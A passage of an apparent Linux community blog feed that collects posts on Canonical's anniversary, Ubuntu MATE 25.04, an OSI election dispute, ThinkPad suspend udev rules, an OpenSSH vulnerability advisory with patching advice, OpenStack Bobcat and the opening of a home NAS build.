When we went to our hotel in the evening it turned out they did not have our booking at all and were completely overbooked due to a jewelry exhibition they had in the house for that week. I talked like 15min to the lady behind the counter, showed her my booking confirmation PDF on the laptop, begged and flirted a lot and eventually she told us “We do have an exhibition room that we keep as spare, it only has one bed but you can have it and we will add a folding bed”. The room was actually a normal hotel room but completely set up with wallpaper tables all around the walls.

Mark insisted to take the folding bed and I can tell you, he does not snore … (well, he didn’t back then)

This was only the first of a plethora of adventures that followed in the upcoming 20 years, that phone call clearly changed my life and the company gave me the opportunity to work with the brightest, sharpest and most intelligent people on the planet in and outside of Canonical.

It surely changed a lot over these years (when I started we were building the distro with 18 people in the distro team and did that for quite a few years before it actually got split into server, foundations, kernel and desktop teams) but it never lost its special spirit of having these exceptional people with such a high focus on bringing opensource to everyone and making it accessible to everyone.
Indeed, with growth comes the requirement to make more money to pay the people, the responsibility to give your employees a certain amount of security and persistence grows, but Canonical and especially Mark have always managed to keep the balance to not lose that focus and do the right thing in the end.

Ten years ago I said “onward to the next ten!!”, I won’t really say “onward to the next 20!” today, not because I ever plan to resign but simply because I doubt I still want to work full time when I’m 75 😉

Thank you Mark for dragging me into this adventure and thank you for still having me! I still love the ride!!

]]> Oliver Grawert Ubuntu MATE 25.04 Release Notes https://ubuntu-mate.org/blog/ubuntu-mate-plucky-puffin-release-notes/ https://ubuntu-mate.org/blog/ubuntu-mate-plucky-puffin-release-notes/ Tue, 15 Apr 2025 00:00:00 GMT Ubuntu MATE 25.04 is ready to soar! 🪽 Celebrating our 10th anniversary as an official Ubuntu flavour with the reliable MATE Desktop experience you love, built on the latest Ubuntu foundations. Read on to learn more 👓️

A Decade of MATE

This release marks the 10th anniversary of Ubuntu MATE becoming an official Ubuntu flavour. From our humble beginnings, we’ve developed a loyal following of users who value a traditional desktop experience with modern capabilities. Thanks to our amazing community, contributors, and users who have been with us throughout this journey. Here’s to many more years of Ubuntu MATE! 🥂

What changed in Ubuntu MATE 25.04?

Here are the highlights of what’s new in the Plucky Puffin release:

  • Celebrating 10 years as an official Ubuntu flavour! 🎂
  • Optional full disk encryption in the installer 🔐
    • Enhanced advanced partitioning options
    • Better interaction with existing BitLocker-enabled Windows installations
    • Improved experience when installing alongside other operating systems

Major Applications

Accompanying MATE Desktop 🧉 and Linux 6.14 🐧 are Firefox 137 🔥🦊, Evolution 3.56 📧, LibreOffice 25.2.2 📚

See the Ubuntu 25.04 Release Notes for details of all the changes and improvements that Ubuntu MATE benefits from.

Download Ubuntu MATE 25.04

Available for 64-bit desktop computers!

Download

Upgrading to Ubuntu MATE 25.04

The upgrade process to Ubuntu MATE 25.04 is the same as Ubuntu.

There are no offline upgrade options for Ubuntu MATE. Please ensure you have network connectivity to one of the official mirrors or to a locally accessible mirror and follow the instructions above.

]]> Ubuntu MATE I'm running for the OSI board... maybe https://blog.luke.wf/2025/02/im-running-for-osi-board-maybe.html https://blog.luke.wf/2025/02/im-running-for-osi-board-maybe.html Thu, 20 Feb 2025 17:31:00 GMT The Open Source Initiative has two classes of board seats: Affiliate seats, and Individual Member seats. 

In the upcoming election, each affiliate can nominate a candidate, and each affiliate can cast a vote for the Affiliate candidates, but there's only 1 Affiliate seat available. I initially expressed interest in being nominated as an Affiliate candidate via Debian. But since Bradley Kuhn is also running for an Affiliate seat with a similar platform to me, especially with regards to the OSAID, I decided to run as part of an aligned "ticket" as an Individual Member to avoid contention for the 1 Affiliate seat.

Bradley and I discussed running on a similar ticket around 8/9pm Pacific, and I submitted my candidacy around 9pm PT on 17 February. 

I was dismayed when I received the following mail from Nick Vidal:

Dear Luke,

Thank you for your interest in the OSI Board of Directors election. Unfortunately, we are unable to accept your application as it was submitted after the official deadline of Monday Feb 17 at 11:59 pm UTC. To ensure a fair process, we must adhere to the deadline for all candidates.

We appreciate your enthusiasm and encourage you to stay engaged with OSI’s mission. We hope you’ll consider applying in the future or contributing in other meaningful ways.

Best regards,
OSI Election Teams

Nowhere on the "OSI’s board of directors in 2025: details about the elections" page do they list a timezone for closure of nominations; they simply list Monday 17 February. 

The OSI's contact address is in California, so it seems arbitrary and capricious to retroactively define all of these processes as being governed by UTC.

I was not able to participate in the "potential board director" info sessions accordingly, but people who attended heard that the importance of accommodating differing TZ's was discussed during the info session, and that OSI representatives mentioned they try to accommodate TZ's of everyone. This seems in sharp contrast with the above policy. 

I urge the OSI to reconsider this policy and allow me to stand for an Individual seat in the current cycle. 

Upd, N.B.: to people writing about this, I use they/them pronouns

]]> Luke Faraone How to prevent TrackPoint or touchpad events from waking up ThinkPad T14 Gen 5 AMD from suspend https://nobuto-m.github.io/post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/ https://nobuto-m.github.io/post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/ Thu, 09 Jan 2025 14:50:38 GMT TL;DR

Try the following lines in your custom udev rules, e.g.
/etc/udev/rules.d/99-local-disable-wakeup-events.rules

KERNEL=="i2c-ELAN0676:00", SUBSYSTEM=="i2c", DRIVERS=="i2c_hid_acpi", ATTR{power/wakeup}="disabled"
KERNEL=="PNP0C0E:00", ATTR{power/wakeup}="disabled"
Table of Contents

The motivation

Whenever something touches the red cap, the system wakes up from suspend/s2idle.
Whenever something touches the red cap, the system wakes up from suspend/s2idle.

I’ve used ThinkPad T14 Gen 3 AMD for 2 years, and I recently purchased T14 Gen 5 AMD. The previous system as Gen 3 annoyed me so much because the laptop randomly woke up from suspend even inside a backpack on its own, heated up the confined air in it, and drained the battery pretty fast as a consequence. Basically it’s too sensitive to any events. For example, whenever a USB Type-C cable is plugged in as a power source or whenever something touches the TrackPoint even if a display on a closed lid slightly makes contact with the red cap, the system wakes up from suspend. It was uncontrollable.

I was hoping that Gen 5 would make a difference, and it did when it comes to the power source event. However, frequent wakeups due to the TrackPoint event remained the same so I started to dig in.

Disabling touchpad as a wakeup source on T14 Gen 5 AMD

Disabling touchpad events as a wakeup source is straightforward. The touchpad device, ELAN0676:00 04F3:3195 Touchpad, can be found in the udev device tree as follows.

$ udevadm info --tree
...

 └─input/input12
   ┆ P: /devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
   ┆ M: input12
   ┆ R: 12
   ┆ U: input
   ┆ E: DEVPATH=/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
   ┆ E: SUBSYSTEM=input
   ┆ E: PRODUCT=18/4f3/3195/100
   ┆ E: NAME="ELAN0676:00 04F3:3195 Touchpad"
   ┆ E: PHYS="i2c-ELAN0676:00"

And you can get all attributes including parent devices like the following.

$ udevadm info --attribute-walk -p /devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
...

  looking at device '/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12':
    KERNEL=="input12"
    SUBSYSTEM=="input"
    DRIVER==""
    ...
    ATTR{name}=="ELAN0676:00 04F3:3195 Touchpad"
    ATTR{phys}=="i2c-ELAN0676:00"

...

  looking at parent device '/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00':
    KERNELS=="i2c-ELAN0676:00"
    SUBSYSTEMS=="i2c"
    DRIVERS=="i2c_hid_acpi"
    ATTRS{name}=="ELAN0676:00"
    ...
    ATTRS{power/wakeup}=="enabled"

The line I’m looking for is ATTRS{power/wakeup}=="enabled". By using the identifiers of the parent device that has ATTRS{power/wakeup}, I can make sure that /sys/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/power/wakeup is always disabled with the custom udev rule as follows.

KERNEL=="i2c-ELAN0676:00", SUBSYSTEM=="i2c", DRIVERS=="i2c_hid_acpi", ATTR{power/wakeup}="disabled"

Disabling TrackPoint as a wakeup source on T14 Gen 5 AMD

I’ve seen a pattern already as above so I should be able to apply the same method. The TrackPoint device, TPPS/2 Elan TrackPoint, can be found in the udev device tree.

$ udevadm info --tree
...

 └─input/input5
   ┆ P: /devices/platform/i8042/serio1/input/input5
   ┆ M: input5
   ┆ R: 5
   ┆ U: input
   ┆ E: DEVPATH=/devices/platform/i8042/serio1/input/input5
   ┆ E: SUBSYSTEM=input
   ┆ E: PRODUCT=11/2/a/63
   ┆ E: NAME="TPPS/2 Elan TrackPoint"
   ┆ E: PHYS="isa0060/serio1/input0"

And the information of parent devices too.

$ udevadm info --attribute-walk -p /devices/platform/i8042/serio1/input/input5
...

  looking at device '/devices/platform/i8042/serio1/input/input5':
    KERNEL=="input5"
    SUBSYSTEM=="input"
    DRIVER==""
    ...
    ATTR{name}=="TPPS/2 Elan TrackPoint"
    ATTR{phys}=="isa0060/serio1/input0"

...

  looking at parent device '/devices/platform/i8042/serio1':
    KERNELS=="serio1"
    SUBSYSTEMS=="serio"
    DRIVERS=="psmouse"
    ATTRS{bind_mode}=="auto"
    ATTRS{description}=="i8042 AUX port"
    ATTRS{drvctl}=="(not readable)"
    ATTRS{firmware_id}=="PNP: LEN0321 PNP0f13"
    ...
    ATTRS{power/wakeup}=="disabled"

I hit the wall here. ATTRS{power/wakeup}=="disabled" for the i8042 AUX port is already there but the TrackPoint still wakes up the system from suspend. I had to do bisecting for all remaining wakeup sources.

The list of the remaining wakeup sources 

$ cat /proc/acpi/wakeup
Device	S-state	  Status   Sysfs node
GPP0	  S0	*disabled
GPP2	  S3	*disabled
GPP5	  S0	*enabled   pci:0000:00:02.1
GPP6	  S4	*enabled   pci:0000:00:02.2
GP11	  S4	*enabled   pci:0000:00:03.1
SWUS	  S4	*disabled
GP12	  S4	*enabled   pci:0000:00:04.1
SWUS	  S4	*disabled
XHC0	  S3	*enabled   pci:0000:c4:00.3
XHC1	  S4	*enabled   pci:0000:c4:00.4
XHC2	  S4	*disabled  pci:0000:c6:00.0
NHI0	  S3	*enabled   pci:0000:c6:00.5
XHC3	  S3	*enabled   pci:0000:c6:00.3
NHI1	  S4	*enabled   pci:0000:c6:00.6
XHC4	  S3	*enabled   pci:0000:c6:00.4
LID	  S4	*enabled   platform:PNP0C0D:00
SLPB	  S3	*enabled   platform:PNP0C0E:00

 Wakeup sources:
 │  [/sys/devices/platform/USBC000:00/power_supply/ucsi-source-psy-USBC000:001/wakeup66]: enabled
 │  [/sys/devices/platform/USBC000:00/power_supply/ucsi-source-psy-USBC000:002/wakeup67]: enabled
 │ ACPI Battery [PNP0C0A:00]: enabled
 │ ACPI Lid Switch [PNP0C0D:00]: enabled
 │ ACPI Power Button [PNP0C0C:00]: enabled
 │ ACPI Sleep Button [PNP0C0E:00]: enabled
 │ AT Translated Set 2 keyboard [serio0]: enabled
 │ Advanced Micro Devices, Inc. [AMD] ISA bridge [0000:00:14.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] Multimedia controller [0000:c4:00.5]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.1]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.2]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:03.1]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:04.1]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c4:00.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c4:00.4]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.4]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.5]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.6]: enabled
 │ Mobile Broadband host interface [mhi0]: enabled
 │ Plug-n-play Real Time Clock [00:01]: enabled
 │ Real Time Clock alarm timer [rtc0]: enabled
 │ Thunderbolt domain [domain0]: enabled
 │ Thunderbolt domain [domain1]: enabled
 │ USB4 host controller [0-0]: enabled
 └─USB4 host controller [1-0]: enabled

Somehow, disabling SLPB “ACPI Sleep Button” stopped undesired wakeups by the TrackPoint.

  looking at parent device '/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00':
    KERNELS=="PNP0C0E:00"
    SUBSYSTEMS=="acpi"
    DRIVERS=="button"
    ATTRS{hid}=="PNP0C0E"
    ATTRS{path}=="\_SB_.SLPB"
    ...
    ATTRS{power/wakeup}=="enabled"

The final udev rule is the following. It also disables wakeup events from the keyboard as a side effect, but opening the lid or pressing the power button can still wake up the system so it works for me.

KERNEL=="PNP0C0E:00", ATTR{power/wakeup}="disabled"

In the case of ThinkPad T14 Gen 3 AMD

After solving the headache of frequent wakeups for T14 Gen5 AMD. I was curious if I could apply the same to Gen 3 AMD retrospectively. Gen 3 has the following wakeup sources active out of the box.

 Wakeup sources:
 │ ACPI Battery [PNP0C0A:00]: enabled
 │ ACPI Lid Switch [PNP0C0D:00]: enabled
 │ ACPI Power Button [LNXPWRBN:00]: enabled
 │ ACPI Power Button [PNP0C0C:00]: enabled
 │ ACPI Sleep Button [PNP0C0E:00]: enabled
 │ AT Translated Set 2 keyboard [serio0]: enabled
 │ Advanced Micro Devices, Inc. [AMD] ISA bridge [0000:00:14.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.1]: enabled
 │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.2]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:04:00.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:04:00.4]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.0]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.3]: enabled
 │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.4]: enabled
 │ ELAN0678:00 04F3:3195 Mouse [i2c-ELAN0678:00]: enabled
 │ Mobile Broadband host interface [mhi0]: enabled
 │ Plug-n-play Real Time Clock [00:01]: enabled
 └─Real Time Clock alarm timer [rtc0]: enabled

Disabling the touchpad event was straightforward. The only difference from Gen 5 was the ID of the device.

KERNEL=="i2c-ELAN0678:00", SUBSYSTEM=="i2c", DRIVERS=="i2c_hid_acpi", ATTR{power/wakeup}="disabled"

When it comes to the TrackPoint or power source event, nothing was able to stop it from waking up the system even after disabling all wakeup sources. I came across a hidden gem named amd_s2idle.py. The “S0i3/s2idle analysis script for AMD systems” is full with the domain knowledge of s2idle like where to look in /proc or /sys or how to enable debug and what part of the logs is important.

By running the script, I got the following output around the unexpected wakeup.

$ sudo python3 ./amd_s2idle.py --debug-ec --duration 30
Debugging script for s2idle on AMD systems
💻 LENOVO 21CF21CFT1 (ThinkPad T14 Gen 3) running BIOS 1.56 (R23ET80W (1.56 )) released 10/28/2024 and EC 1.32
🐧 Ubuntu 24.04.1 LTS
🐧 Kernel 6.11.0-12-generic
🔋 Battery BAT0 (Sunwoda ) is operating at 90.91% of design
Checking prerequisites for s2idle
✅ Logs are provided via systemd
✅ AMD Ryzen 7 PRO 6850U with Radeon Graphics (family 19 model 44)
...

Suspending system in 0:00:02
Suspending system in 0:00:01

Started at 2025-01-04 00:46:53.063495 (cycle finish expected @ 2025-01-04 00:47:27.063532)
Collecting data in 0:00:02
Collecting data in 0:00:01

Results from last s2idle cycle
💤 Suspend count: 1
💤 Hardware sleep cycle count: 1
○ GPIOs active: ['0']
🥱 Wakeup triggered from IRQ 9: ACPI SCI
🥱 Wakeup triggered from IRQ 7: GPIO Controller
🥱 Woke up from IRQ 7: GPIO Controller
❌ Userspace suspended for 0:00:14.031448 (< minimum expected 0:00:27)
💤 In a hardware sleep state for 0:00:10.566894 (75.31%)
🔋 Battery BAT0 lost 10000 µWh (0.02%) [Average rate 2.57W]
Explanations for your system
🚦 Userspace wasn't asleep at least 0:00:30
        The system was programmed to sleep for 0:00:30, but woke up prematurely.
        This typically happens when the system was woken up from a non-timer based source.

        If you didn't intentionally wake it up, then there may be a kernel or firmware bug

I compared all the logs generated between the events of power button, power source, TrackPoint, and touchpad. But except for the touchpad event, everything else was coming from GPIO pin #0 and there was no more information of how to distinguish those wakeup triggers. I ended up with a drastic approach of ignoring wakeup triggers from the GPIO pin #0 completely with the following kernel option.

gpiolib_acpi.ignore_wake=AMDI0030:00@0

And I get the line on each boot.

kernel: amd_gpio AMDI0030:00: Ignoring wakeup on pin 0

That comes with obvious downsides. The system doesn’t wake up frequently any longer, that is good. However, nothing can wake it up after getting into suspend. Opening the lid, pressing the power button or any key is simply ignored since all are going to GPIO pin #0. In the end, I had to enable the touchpad back as a wakeup source explicitly so the system can wakeup by tapping the touchpad. It’s far from ideal, but the touchpad is less sensitive than the TrackPoint so I will keep it that way.

KERNEL=="i2c-ELAN0678:00", SUBSYSTEM=="i2c", DRIVERS=="i2c_hid_acpi", ATTR{power/wakeup}="enabled"

I guess the limitation is coming from a firmware more or less, but at the same time I don’t expect fixes for the few year old model.

References

]]> Nobuto Murata C void return gotcha http://smackerelofopinion.blogspot.com/2024/12/c-void-return-gotcha.html http://smackerelofopinion.blogspot.com/2024/12/c-void-return-gotcha.html Wed, 18 Dec 2024 17:43:00 GMT Last week I was bitten by a interesting C feature. The following terminate function was expected to exit if okay was zero (false) however it exited when zero was passed to it. The reason is the missing semicolon after the return function.

 

The interesting part this that is compiles fine because the void function terminate is allowed to return the void return value, in this case the void return from exit().

 

]]> Colin King Waiting for a Linux system to be online https://blog.slyon.de/2024/10/15/waiting-for-a-linux-system-to-be-online/ https://blog.slyon.de/2024/10/15/waiting-for-a-linux-system-to-be-online/ Tue, 15 Oct 2024 07:33:10 GMT
Designed by Freepik

What is an “online” system?

Networking is a complex topic, and there is lots of confusion around the definition of an “online” system. Sometimes the boot process gets delayed up to two minutes, because the system still waits for one or more network interfaces to be ready. Systemd provides the network-online.target that other service units can rely on, if they are deemed to require network connectivity. But what does “online” actually mean in this context, is a link-local IP address enough, do we need a routable gateway and how about DNS name resolution?

The requirements for an “online” network interface depend very much on the services using an interface. For some services it might be good enough to reach their local network segment (e.g. to announce Zeroconf services), while others need to reach domain names (e.g. to mount a NFS share) or reach the global internet to run a web server. On the other hand, the implementation of network-online.target varies, depending on which networking daemon is in use, e.g. systemd-networkd-wait-online.service or NetworkManager-wait-online.service. For Ubuntu, we created a specification that describes what we as a distro expect an “online” system to be. Having a definition in place, we are able to tackle the network-online-ordering issues that got reported over the years and can work out solutions to avoid delayed boot times on Ubuntu systems.

In essence, we want systems to reach the following networking state to be considered online:

  1. Do not wait for “optional” interfaces to receive network configuration
  2. Have IPv6 and/or IPv4 “link-local” addresses on every network interface
  3. Have at least one interface with a globally routable connection
  4. Have functional domain name resolution on any routable interface

A common implementation

NetworkManager and systemd-networkd are two very common networking daemons used on modern Linux systems. But they originate from different contexts and therefore show different behaviours in certain scenarios, such as wait-online. Luckily, on Ubuntu we already have Netplan as a unification layer on top of those networking daemons, that allows for common network configuration, and can also be used to tweak the wait-online logic.

With the recent release of Netplan v1.1 we introduced initial functionality to tweak the behaviour of the systemd-networkd-wait-online.service, as used on Ubuntu Server systems. When Netplan is used to drive the systemd-networkd backend, it will emit an override configuration file in /run/systemd/system/systemd-networkd-wait-online.service.d/10-netplan.conf, listing the specific non-optional interfaces that should receive link-local IP configuration. In parallel to that, it defines a list of network interfaces that Netplan detected to be potential global connections, and waits for any of those interfaces to reach a globally routable state.

Such override config file might look like this:

[Unit]
ConditionPathIsSymbolicLink=/run/systemd/generator/network-online.target.wants/systemd-networkd-wait-online.service

[Service]
ExecStart=
ExecStart=/lib/systemd/systemd-networkd-wait-online -i eth99.43:carrier -i lo:carrier -i eth99.42:carrier -i eth99.44:degraded -i bond0:degraded
ExecStart=/lib/systemd/systemd-networkd-wait-online --any -o routable -i eth99.43 -i eth99.45 -i bond0

In addition to the new features implemented in Netplan, we reached out to upstream systemd, proposing an enhancement to the systemd-networkd-wait-online service, integrating it with systemd-resolved to check for the availability of DNS name resolution. Once this is implemented upstream, we’re able to fully control the systemd-networkd backend on Ubuntu Server systems, to behave consistently and according to the definition of an “online” system that was lined out above.

Future work

The story doesn’t end there, because Ubuntu Desktop systems are using NetworkManager as their networking backend. This daemon provides its very own nm-online utility, utilized by the NetworkManager-wait-online systemd service. It implements a much higher-level approach, looking at the networking daemon in general instead of the individual network interfaces. By default, it considers a system to be online once every “autoconnect” profile got activated (or failed to activate), meaning that either a IPv4 or IPv6 address got assigned.

There are considerable enhancements to be implemented to this tool, for it to be controllable in a fine-granular way similar to systemd-networkd-wait-online, so that it can be instructed to wait for specific networking states on selected interfaces.

A note of caution

Making a service depend on network-online.target is considered an antipattern in most cases. This is because networking on Linux systems is very dynamic and the systemd target can only ever reflect the networking state at a single point in time. It cannot guarantee this state to be remained over the uptime of your system and has the potentially to delay the boot process considerably. Cables can be unplugged, wireless connectivity can drop, or remote routers can go down at any time, affecting the connectivity state of your local system. Therefore, “instead of wondering what to do about network.target, please just fix your program to be friendly to dynamically changing network configuration.” [source].

]]> Lukas Märdian git revert name and Akademy https://jriddell.org/2024/09/12/git-revert-name-and-akademy/ https://jriddell.org/2024/09/12/git-revert-name-and-akademy/ Thu, 12 Sep 2024 14:33:09 GMT I reverted my name back to Jonathan Riddell and have now made a new uid for my PGP key, you can get the updated one on keyserver.ubuntu.com or my contact page or my Launchpad page.

Here’s some pics from Akademy

]]> Jonathan Riddell Critical OpenSSH Vulnerability (CVE-2024-6387): Please Update Your Linux http://blog.harisfazillah.info/2024/07/critical-openssh-vulnerability-cve-2024.html http://blog.harisfazillah.info/2024/07/critical-openssh-vulnerability-cve-2024.html Thu, 04 Jul 2024 21:35:00 GMT  

Critical OpenSSH Vulnerability (CVE-2024-6387): Please Update Your Linux

A critical security flaw (CVE-2024-6387) has been identified in OpenSSH, a program widely used for secure remote connections. This vulnerability could allow attackers to completely compromise affected systems (remote code execution).

Who is Affected?

Only specific versions of OpenSSH (8.5p1 to 9.7p1) running on glibc-based Linux systems are vulnerable. Newer versions are not affected.

What to Do?

  1. Update OpenSSH: Check your version by running ssh -V in your terminal. If you're using a vulnerable version (8.5p1 to 9.7p1), update immediately.

  2. Temporary Workaround (Use with Caution): Disabling the login grace timeout (setting LoginGraceTime=0 in sshd_config) can mitigate the risk, but be aware it increases susceptibility to denial-of-service attacks.

  3. Recommended Security Enhancement: Install fail2ban to prevent brute-force attacks. This tool automatically bans IPs with too many failed login attempts.

Optional: IP Whitelisting for Increased Security

Once you have fail2ban installed, consider allowing only specific IP addresses to access your server via SSH. This can be achieved using:

  • ufw for Ubuntu

  • firewalld for AlmaLinux or Rocky Linux

Additional Resources

About Fail2ban

Fail2ban monitors log files like /var/log/auth.log and bans IPs with excessive failed login attempts. It updates firewall rules to block connections from these IPs for a set duration. Fail2ban is pre-configured to work with common log files and can be easily customized for other logs and errors.

Installation Instructions:

  • Ubuntu: sudo apt install fail2ban

  • AlmaLinux/Rocky Linux: sudo dnf install fail2ban


About DevSec Hardening Framework

The DevSec Hardening Framework is a set of tools and resources that helps automate the process of securing your server infrastructure. It addresses the challenges of manually hardening servers, which can be complex, error-prone, and time-consuming, especially when managing a large number of servers. The framework integrates with popular infrastructure automation tools like Ansible, Chef, and Puppet. It provides pre-configured modules that automatically apply secure settings to your operating systems and services such as OpenSSH, Apache and MySQL. This eliminates the need for manual configuration and reduces the risk of errors.


Prepare by LinuxMalaysia with the help of Google Gemini


5 July 2024

 

In Google Doc Format 

 

https://docs.google.com/document/d/e/2PACX-1vTSU27PLnDXWKjRJfIcjwh9B0jlSN-tnaO4_eZ_0V5C2oYOPLLblnj3jQOzCKqCwbnqGmpTIE10ZiQo/pub 



]]> Harisfazillah Jamel dhcpcd almost ready to replace ISC dhclient in Debian http://q-funk.blogspot.com/2023/11/dhcpcd-almost-ready-to-replace-isc.html http://q-funk.blogspot.com/2023/11/dhcpcd-almost-ready-to-replace-isc.html Thu, 16 Nov 2023 08:31:00 GMT A lot of time has passed since my previous post on my work to make dhcpcd the drop-in replacement for the deprecated ISC dhclient a.k.a. isc-dhcp-client. Current status:

  • Upstream now regularly produces releases and with a smaller delta than before. This makes it easier to track possible breakage.
  • Debian packaging has essentially remained unchanged. A few Recommends were shuffled, but that's about it.
  • The only remaining bug is fixing the build for Hurd. Patches are welcome. Once that is fixed, bumping dhcpcd-base's priority to important is all that's left.
]]> Martin-Éric Racine Ubuntu Summit 2023 https://rossgammon68.wordpress.com/2023/11/05/ubuntu-summit-2023/ https://rossgammon68.wordpress.com/2023/11/05/ubuntu-summit-2023/ Sun, 05 Nov 2023 16:01:16 GMT UbuntuSummit2023

I am currently attending the Ubuntu Summit 2023 in Riga, Latvia. This is the first time I have deliberately attended an Ubuntu event. Back in 2013, I accidentally walked through what I believe was the last Ubuntu Developers Summit in Copenhagen, when I was showing some friends around Bella Sky in Copenhagen.

This time I was asked by Erich Eickmeyer if I would like to join him as a member of the Ubuntu Studio team. It has been fantastic to meet him and Eylul Dogruel from the Ubuntu Studio team. It was also fantastic to meet or see in person other members of the Linux Audio community, and other Ubuntu and Canonical people that have helped me with my Ubuntu contributions along the way.

Here are the talks I attended and meetings I had related to Ubuntu Studio:

50 things you did not know you could do with Ardour , Dr Robin Gareus (Ardour, Linux Audio)
Making a standalone effects pedal system based on embed Linux, Filipe Coelho
Live Mixing with PipeWire and Ardour/Harrison Mixbus, Erich Eickmeyer (Ubuntu / Ubuntu Studio)
Art and ownership – the confusing problem of owning a visual idea, Eylul Dogruel (Ubuntu Studio)
Ubuntu Flavour Sync meeting, Aaron Prisk (Canonical), Ana Sereijo (Canonical), Daniel Bungert (Canonical), Mr Mauro Gaspari (Canonical), Michael Hudson-Doyle (Canonical), Oliver Smith (Canonical), Mr Tim Holmes-Mitra (Canonical)
I believe talks will be uploaded onto You Tube at some point, so look out for them!
]]> Ross Gammon OpenStack 2023.2 Bobcat for Ubuntu 22.04 LTS https://wrestlingpenguins.wordpress.com/2023/10/06/openstack-2023-2-bobcat-for-ubuntu-22-04-lts/ https://wrestlingpenguins.wordpress.com/2023/10/06/openstack-2023-2-bobcat-for-ubuntu-22-04-lts/ Fri, 06 Oct 2023 12:47:34 GMT The Ubuntu OpenStack team at Canonical is pleased to announce the general availability of OpenStack 2023.2 Bobcat on Ubuntu 22.04 LTS (Jammy Jellyfish). For more details on the release, please see the OpenStack 2023.2 Bobcat release notes.

The Ubuntu Cloud Archive for OpenStack 2023.2 Bobcat can be enabled on Ubuntu 22.04 by running the following command:

sudo add-apt-repository cloud-archive:bobcat

The Ubuntu Cloud Archive for 2023.2 Bobcat includes updates for:

aodh, barbican, ceilometer, ceph (18.2.0), cinder, designate, designate-dashboard, dpdk (22.11.3), glance, gnocchi, heat, heat-dashboard, horizon, ironic, ironic-ui, keystone, magnum, magnum-ui, manila, manila-ui, masakari, mistral, murano, murano-dashboard, networking-arista, networking-bagpipe, networking-baremetal, networking-bgpvpn, networking-l2gw, networking-mlnx, networking-sfc, neutron, neutron-dynamic-routing, neutron-fwaas, neutron-taas, neutron-vpnaas, nova, octavia, octavia-dashboard, openstack-trove, openvswitch (3.2.0), ovn (23.09.0), ovn-octavia-provider, placement, sahara, sahara-dashboard, senlin, swift, trove-dashboard, vitrage, watcher, watcher-dashboard, zaqar, and zaqar-ui.

For a full list of packages and versions, please refer to the Ubuntu Cloud Archive Tracker.

Reporting bugs

If you have any issues please report bugs using the ‘ubuntu-bug’ tool to ensure that bugs get logged in the right place in Launchpad:

sudo ubuntu-bug nova-conductor

Thank you to everyone who contributed to OpenStack 2023.2 Bobcat!

]]> Corey Bryant Building a NAS https://apebox.org/wordpress/tech/1325 https://apebox.org/wordpress/tech/1325 Tue, 12 Sep 2023 21:33:05 GMT The status quo

Back in 2015, I bought an off-the-shelf NAS, a QNAP TS-453mini, to act as my file store and Plex server. I had previously owned a Synology box, and whilst I liked the Synology OS and experience, the hardware was underwhelming. I loaded up the successor QNAP with four 5TB drives in RAID10, and moved all my files over (after some initial DoA drive issues were handled).

QNAP TS-453mini product photo
QNAP TS-453mini product photo

That thing has been in service for about 8 years now, and it’s been… a mixed bag. It was definitely more powerful than the predecessor system, but it was clear that QNAP’s OS was not up to the same standard as Synology’s – perhaps best exemplified by “HappyGet 2”, the QNAP webapp for downloading videos from streaming services like YouTube, whose icon is a straight rip-off of StarCraft 2. On its own, meaningless – but a bad omen for overall software quality

The logo for QNAP HappyGet 2 and Blizzard's Starcraft 2 side by side
The logo for QNAP HappyGet 2 and Blizzard’s StarCraft 2 side by side

Additionally, the embedded Celeron processor in the NAS turned out to be an issue for some cases. It turns out, when playing back videos with subtitles, most Plex clients do not support subtitles properly – instead they rely on the Plex server doing JIT transcoding to bake the subtitles directly into the video stream. I discovered this with some Blu-Ray rips of Game of Thrones – some episodes would play back fine on my smart TV, but episodes with subtitled Dothraki speech would play at only 2 or 3 frames per second.

The final straw was a ransomware attack, which went through all my data and locked every file below a 60MiB threshold. Practically all my music gone. A substantial collection of downloaded files, all gone. Some of these files had been carried around since my college days – digital rarities, or at least digital detritus I felt a real sense of loss at having to replace. This episode was caused by a ransomware targeting specific vulnerabilities in the QNAP OS, not an error on my part.

So, I decided to start planning a replacement with:

  • A non-garbage OS, whilst still being a NAS-appliance type offering (not an off-the-shelf Linux server distro)
  • Full remote management capabilities
  • A small form factor comparable to off-the-shelf NAS
  • A powerful modern CPU capable of transcoding high resolution video
  • All flash storage, no spinning rust

At the time, no consumer NAS offered everything (The Asustor FS6712X exists now, but didn’t when this project started), so I opted to go for a full DIY rather than an appliance – not the first time I’ve jumped between appliances and DIY for home storage.

Selecting the core of the system

